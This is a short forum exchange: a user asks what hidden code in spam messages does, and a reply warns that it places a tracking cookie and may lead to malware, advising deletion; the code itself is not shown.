From some time I'm getting spam messages that at first look may seem just a line of text. In fact it contains a hidden code like these ones below. Can somebody tell me what are they supposed to do?

This is obviously a criminal enterprise, and the code is intended to place a tracking cookie on your computer, as well as encourage you to click on a link which may well download malware onto your machine. Delete it ASAP!
